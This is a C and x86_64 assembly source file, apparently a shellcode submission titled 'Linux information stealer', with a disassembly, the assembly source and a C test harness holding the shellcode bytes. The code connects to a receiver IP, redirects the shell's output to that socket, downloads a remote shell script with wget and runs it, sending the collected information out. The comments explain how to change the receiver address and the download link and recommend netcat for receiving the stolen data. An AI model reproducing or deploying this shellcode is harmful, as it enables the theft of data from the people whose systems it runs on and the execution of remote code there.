/* # Title : Linux x86_64 information stealer # Date : 23-05-2016 # Author : Roziul Hasan Khan Shifat # Tested On : Ubuntu 14.04 LTS x86_64 # Contact : shifath12@gmail.com */ /* How does this shellcode works ----------------------------------- 1. First it connects to the information reciver 2. then it download a sh script from http://192.168.30.129/pri.sh (server running on Kali linux) 3. duplicating stdout,stderr with socket descriptor 4. then it execute the script using sh */ /* Note: the pri.sh file was in kali linux.the server was Kali linux client was Ubuntu it downloads the pri.sh from kali linux and Executes it on Ubuntu */ /* Requirements of this shellcode -------------------------------------- 1.link of pri.sh (You can Found it on http://pastebin.com/V4gudKL5 ) . this script isn't mine.I've taken it from another.I customized the script 2.reciver ip */ /* How to use this shellcode --------------------------------- 1. Upload the pri.sh any site 2. TO download the pri.sh , U need to Customize the wget procedure (I've marked where to customized) 3. Customize the connect procedure for connect to the reciver where i marked 4. U need to know assembly to completed 1,2 instruction */ /* Reciver --------- To recive the Information U may Use Netcat If U want to view the informations on Web browser , I've a php script for U. upload it any site. if U this script , the reciver ip will be the website ip BUT I RECOMMEND U TO USE NETCAT */ /* Disassembly of section .text: 0000000000400080 <_start>: 400080: 6a 06 pushq $0x6 400082: 6a 01 pushq $0x1 400084: 6a 02 pushq $0x2 400086: 5f pop %rdi 400087: 5e pop %rsi 400088: 5a pop %rdx 400089: 6a 29 pushq $0x29 40008b: 58 pop %rax 40008c: 0f 05 syscall 40008e: 48 31 db xor %rbx,%rbx 400091: 48 89 c3 mov %rax,%rbx 400094: 48 31 c0 xor %rax,%rax 400097: 48 31 ff xor %rdi,%rdi 40009a: b0 39 mov $0x39,%al 40009c: 0f 05 syscall 40009e: 4d 31 c9 xor %r9,%r9 4000a1: 4c 39 c8 cmp %r9,%rax 4000a4: 74 18 je 4000be 4000a6: 6a 3c pushq $0x3c 4000a8: 58 pop %rax 4000a9: 0f 05 syscall 00000000004000ab : 4000ab: 48 31 f6 xor %rsi,%rsi 4000ae: 48 f7 e6 mul %rsi 4000b1: 56 push %rsi 4000b2: 6a 3c pushq $0x3c 4000b4: 48 89 e7 mov %rsp,%rdi 4000b7: b0 23 mov $0x23,%al 4000b9: 0f 05 syscall 4000bb: eb 01 jmp 4000be 4000bd: c3 retq 00000000004000be : 4000be: 6a 10 pushq $0x10 4000c0: 5a pop %rdx 4000c1: 53 push %rbx 4000c2: 5f pop %rdi 4000c3: 48 31 c0 xor %rax,%rax 4000c6: 50 push %rax 4000c7: 50 push %rax 4000c8: 50 push %rax 4000c9: c6 04 24 02 movb $0x2,(%rsp) 4000cd: 66 c7 44 24 02 05 fc movw $0xfc05,0x2(%rsp) 4000d4: c7 44 24 04 c0 a8 1e movl $0x811ea8c0,0x4(%rsp) 4000db: 81 4000dc: 48 89 e6 mov %rsp,%rsi 4000df: b0 2a mov $0x2a,%al 4000e1: 0f 05 syscall 4000e3: 48 31 ff xor %rdi,%rdi 4000e6: 48 39 f8 cmp %rdi,%rax 4000e9: 7c c0 jl 4000ab 4000eb: 48 31 c0 xor %rax,%rax 4000ee: 48 31 f6 xor %rsi,%rsi 4000f1: 48 ff c6 inc %rsi 4000f4: 48 89 df mov %rbx,%rdi 4000f7: b0 21 mov $0x21,%al 4000f9: 0f 05 syscall 4000fb: 48 31 c0 xor %rax,%rax 4000fe: 48 ff c6 inc %rsi 400101: 48 89 df mov %rbx,%rdi 400104: b0 21 mov $0x21,%al 400106: 0f 05 syscall 400108: 48 31 c0 xor %rax,%rax 40010b: 48 83 c0 39 add $0x39,%rax 40010f: 0f 05 syscall 400111: 48 31 ff xor %rdi,%rdi 400114: 4d 31 e4 xor %r12,%r12 400117: 49 89 c4 mov %rax,%r12 40011a: 48 39 f8 cmp %rdi,%rax 40011d: 74 59 je 400178 40011f: 4d 31 d2 xor %r10,%r10 400122: 48 31 d2 xor %rdx,%rdx 400125: 4c 89 d6 mov %r10,%rsi 400128: 4c 89 e7 mov %r12,%rdi 40012b: 48 31 c0 xor %rax,%rax 40012e: b0 3d mov $0x3d,%al 400130: 0f 05 syscall 400132: 48 31 c0 xor %rax,%rax 400135: 48 31 d2 xor %rdx,%rdx 400138: 50 push %rax 400139: 50 push %rax 40013a: c7 04 24 2f 2f 62 69 movl $0x69622f2f,(%rsp) 400141: c7 44 24 04 6e 2f 73 movl $0x68732f6e,0x4(%rsp) 400148: 68 400149: 48 89 e7 mov %rsp,%rdi 40014c: 50 push %rax 40014d: 50 push %rax 40014e: c7 04 24 2e 70 72 69 movl $0x6972702e,(%rsp) 400155: 66 c7 44 24 04 2e 73 movw $0x732e,0x4(%rsp) 40015c: c6 44 24 06 68 movb $0x68,0x6(%rsp) 400161: 48 89 e6 mov %rsp,%rsi 400164: 52 push %rdx 400165: 56 push %rsi 400166: 57 push %rdi 400167: 48 89 e6 mov %rsp,%rsi 40016a: 48 83 c0 3b add $0x3b,%rax 40016e: 0f 05 syscall 400170: 41 51 push %r9 400172: 5f pop %rdi 400173: 6a 03 pushq $0x3 400175: 58 pop %rax 400176: 0f 05 syscall 0000000000400178 : 400178: 48 31 c0 xor %rax,%rax 40017b: 50 push %rax 40017c: 50 push %rax 40017d: 50 push %rax 40017e: c7 04 24 2f 75 73 72 movl $0x7273752f,(%rsp) 400185: c7 44 24 04 2f 62 69 movl $0x6e69622f,0x4(%rsp) 40018c: 6e 40018d: c7 44 24 08 2f 2f 77 movl $0x67772f2f,0x8(%rsp) 400194: 67 400195: 66 c7 44 24 0c 65 74 movw $0x7465,0xc(%rsp) 40019c: 48 89 e7 mov %rsp,%rdi 40019f: 50 push %rax 4001a0: 50 push %rax 4001a1: 50 push %rax 4001a2: 50 push %rax 4001a3: c7 04 24 68 74 74 70 movl $0x70747468,(%rsp) 4001aa: c7 44 24 04 3a 2f 2f movl $0x312f2f3a,0x4(%rsp) 4001b1: 31 4001b2: c7 44 24 08 39 32 2e movl $0x312e3239,0x8(%rsp) 4001b9: 31 4001ba: c7 44 24 0c 36 38 2e movl $0x332e3836,0xc(%rsp) 4001c1: 33 4001c2: c7 44 24 10 30 2e 31 movl $0x32312e30,0x10(%rsp) 4001c9: 32 4001ca: c7 44 24 14 39 2f 70 movl $0x72702f39,0x14(%rsp) 4001d1: 72 4001d2: c7 44 24 18 69 2e 73 movl $0x68732e69,0x18(%rsp) 4001d9: 68 4001da: 48 89 e6 mov %rsp,%rsi 4001dd: 48 31 d2 xor %rdx,%rdx 4001e0: 50 push %rax 4001e1: 66 c7 04 24 2d 4f movw $0x4f2d,(%rsp) 4001e7: 48 89 e1 mov %rsp,%rcx 4001ea: 50 push %rax 4001eb: 50 push %rax 4001ec: c7 04 24 2e 70 72 69 movl $0x6972702e,(%rsp) 4001f3: 66 c7 44 24 04 2e 73 movw $0x732e,0x4(%rsp) 4001fa: c6 44 24 06 68 movb $0x68,0x6(%rsp) 4001ff: 49 89 e7 mov %rsp,%r15 400202: 52 push %rdx 400203: 41 57 push %r15 400205: 51 push %rcx 400206: 56 push %rsi 400207: 57 push %rdi 400208: 48 89 e6 mov %rsp,%rsi 40020b: b0 3b mov $0x3b,%al 40020d: 0f 05 syscall */ /* section .text global _start ;----------------- _start: ;socket() push 6 push 1 push 2 pop rdi pop rsi pop rdx push 41 pop rax syscall ;------------------ xor rbx,rbx mov rbx,rax ;socket descriptor ;------------- xor rax,rax xor rdi,rdi mov al,57 syscall xor r9,r9 cmp rax,r9 jz connect push byte 60 pop rax syscall retry: xor rsi,rsi mul rsi push rsi push byte 60 ;1 min ( change it if U want ) mov rdi,rsp mov al,35 syscall jmp connect ret connect: ;connect() push 16 pop rdx push rbx pop rdi xor rax,rax push rax push rax push rax mov [rsp],byte 2 ;----------------------------------- ;customize these staetments mov [rsp+2],word 0xfc05 ;port 1532 ( U may change it, As U wish ) mov [rsp+4],dword 0x811ea8c0 ;ip of reciver (must change it) ;-------------------------------------- mov rsi,rsp mov al,42 syscall xor rdi,rdi cmp rax,rdi jl retry ;------------dup2(sd,1) xor rax,rax xor rsi,rsi inc rsi mov rdi,rbx mov al,33 syscall ;------------ ;------------dup2(sd,2) xor rax,rax inc rsi mov rdi,rbx mov al,33 syscall ;------------ ;fork() xor rax,rax add rax,57 syscall xor rdi,rdi xor r12,r12 mov r12,rax ;pid cmp rax,rdi jz wget ;--------------- ;wait4() xor r10,r10 ;null xor rdx,rdx ;null mov rsi,r10 ;status mov rdi,r12 ;pid xor rax,rax mov al,61 syscall ;; ;------------------------- ;execve("//bin/sh",{"//bin/sh",".pri.sh",NULL},NULL); xor rax,rax xor rdx,rdx push rax push rax mov [rsp],dword '//bi' mov [rsp+4],dword 'n/sh' mov rdi,rsp push rax push rax mov [rsp],dword '.pri' mov [rsp+4],word '.s' mov [rsp+6],byte 'h' mov rsi,rsp push rdx push rsi push rdi mov rsi,rsp add rax,59 syscall ;-------- ;close(fd) push r9 pop rdi push 3 pop rax syscall wget: ;execve("/usr/bin//wget",{"/usr/bin//wget","http ://1 92.1 68.3 0.12 9/pr i.sh","-O",".pri.sh",NULL},NULL) xor rax,rax push rax push rax push rax mov [rsp],dword '/usr' mov [rsp+4],dword '/bin' mov [rsp+8],dword '//wg' mov [rsp+12],word 'et' mov rdi,rsp push rax push rax push rax push rax ;---------------------- ;cusmizetd these statements for the link of pri.sh mov [rsp],dword 'http' mov [rsp+4],dword '://1' mov [rsp+8],dword '92.1' mov [rsp+12],dword '68.3' mov [rsp+16],dword '0.12' mov [rsp+20],dword '9/pr' mov [rsp+24],dword 'i.sh' ;------------------------ mov rsi,rsp xor rdx,rdx push rax mov [rsp],word '-O' mov rcx,rsp push rax push rax mov [rsp],dword '.pri' mov [rsp+4],word '.s' mov [rsp+6],byte 'h' mov r15,rsp push rdx push r15 push rcx push rsi push rdi mov rsi,rsp mov al,59 syscall */ #include #include char shellcode[]="\x6a\x06\x6a\x01\x6a\x02\x5f\x5e\x5a\x6a\x29\x58\x0f\x05\x48\x31\xdb\x48\x89\xc3\x48\x31\xc0\x48\x31\xff\xb0\x39\x0f\x05\x4d\x31\xc9\x4c\x39\xc8\x74\x18\x6a\x3c\x58\x0f\x05\x48\x31\xf6\x48\xf7\xe6\x56\x6a\x3c\x48\x89\xe7\xb0\x23\x0f\x05\xeb\x01\xc3\x6a\x10\x5a\x53\x5f\x48\x31\xc0\x50\x50\x50\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x05\xfc\xc7\x44\x24\x04\xc0\xa8\x1e\x81\x48\x89\xe6\xb0\x2a\x0f\x05\x48\x31\xff\x48\x39\xf8\x7c\xc0\x48\x31\xc0\x48\x31\xf6\x48\xff\xc6\x48\x89\xdf\xb0\x21\x0f\x05\x48\x31\xc0\x48\xff\xc6\x48\x89\xdf\xb0\x21\x0f\x05\x48\x31\xc0\x48\x83\xc0\x39\x0f\x05\x48\x31\xff\x4d\x31\xe4\x49\x89\xc4\x48\x39\xf8\x74\x59\x4d\x31\xd2\x48\x31\xd2\x4c\x89\xd6\x4c\x89\xe7\x48\x31\xc0\xb0\x3d\x0f\x05\x48\x31\xc0\x48\x31\xd2\x50\x50\xc7\x04\x24\x2f\x2f\x62\x69\xc7\x44\x24\x04\x6e\x2f\x73\x68\x48\x89\xe7\x50\x50\xc7\x04\x24\x2e\x70\x72\x69\x66\xc7\x44\x24\x04\x2e\x73\xc6\x44\x24\x06\x68\x48\x89\xe6\x52\x56\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05\x41\x51\x5f\x6a\x03\x58\x0f\x05\x48\x31\xc0\x50\x50\x50\xc7\x04\x24\x2f\x75\x73\x72\xc7\x44\x24\x04\x2f\x62\x69\x6e\xc7\x44\x24\x08\x2f\x2f\x77\x67\x66\xc7\x44\x24\x0c\x65\x74\x48\x89\xe7\x50\x50\x50\x50\xc7\x04\x24\x68\x74\x74\x70\xc7\x44\x24\x04\x3a\x2f\x2f\x31\xc7\x44\x24\x08\x39\x32\x2e\x31\xc7\x44\x24\x0c\x36\x38\x2e\x33\xc7\x44\x24\x10\x30\x2e\x31\x32\xc7\x44\x24\x14\x39\x2f\x70\x72\xc7\x44\x24\x18\x69\x2e\x73\x68\x48\x89\xe6\x48\x31\xd2\x50\x66\xc7\x04\x24\x2d\x4f\x48\x89\xe1\x50\x50\xc7\x04\x24\x2e\x70\x72\x69\x66\xc7\x44\x24\x04\x2e\x73\xc6\x44\x24\x06\x68\x49\x89\xe7\x52\x41\x57\x51\x56\x57\x48\x89\xe6\xb0\x3b\x0f\x05"; /* insert shellcode here */ int main() { printf("shellcode length %ld",( unsigned long ) strlen(shellcode)); ( * (int(*)()) shellcode) (); }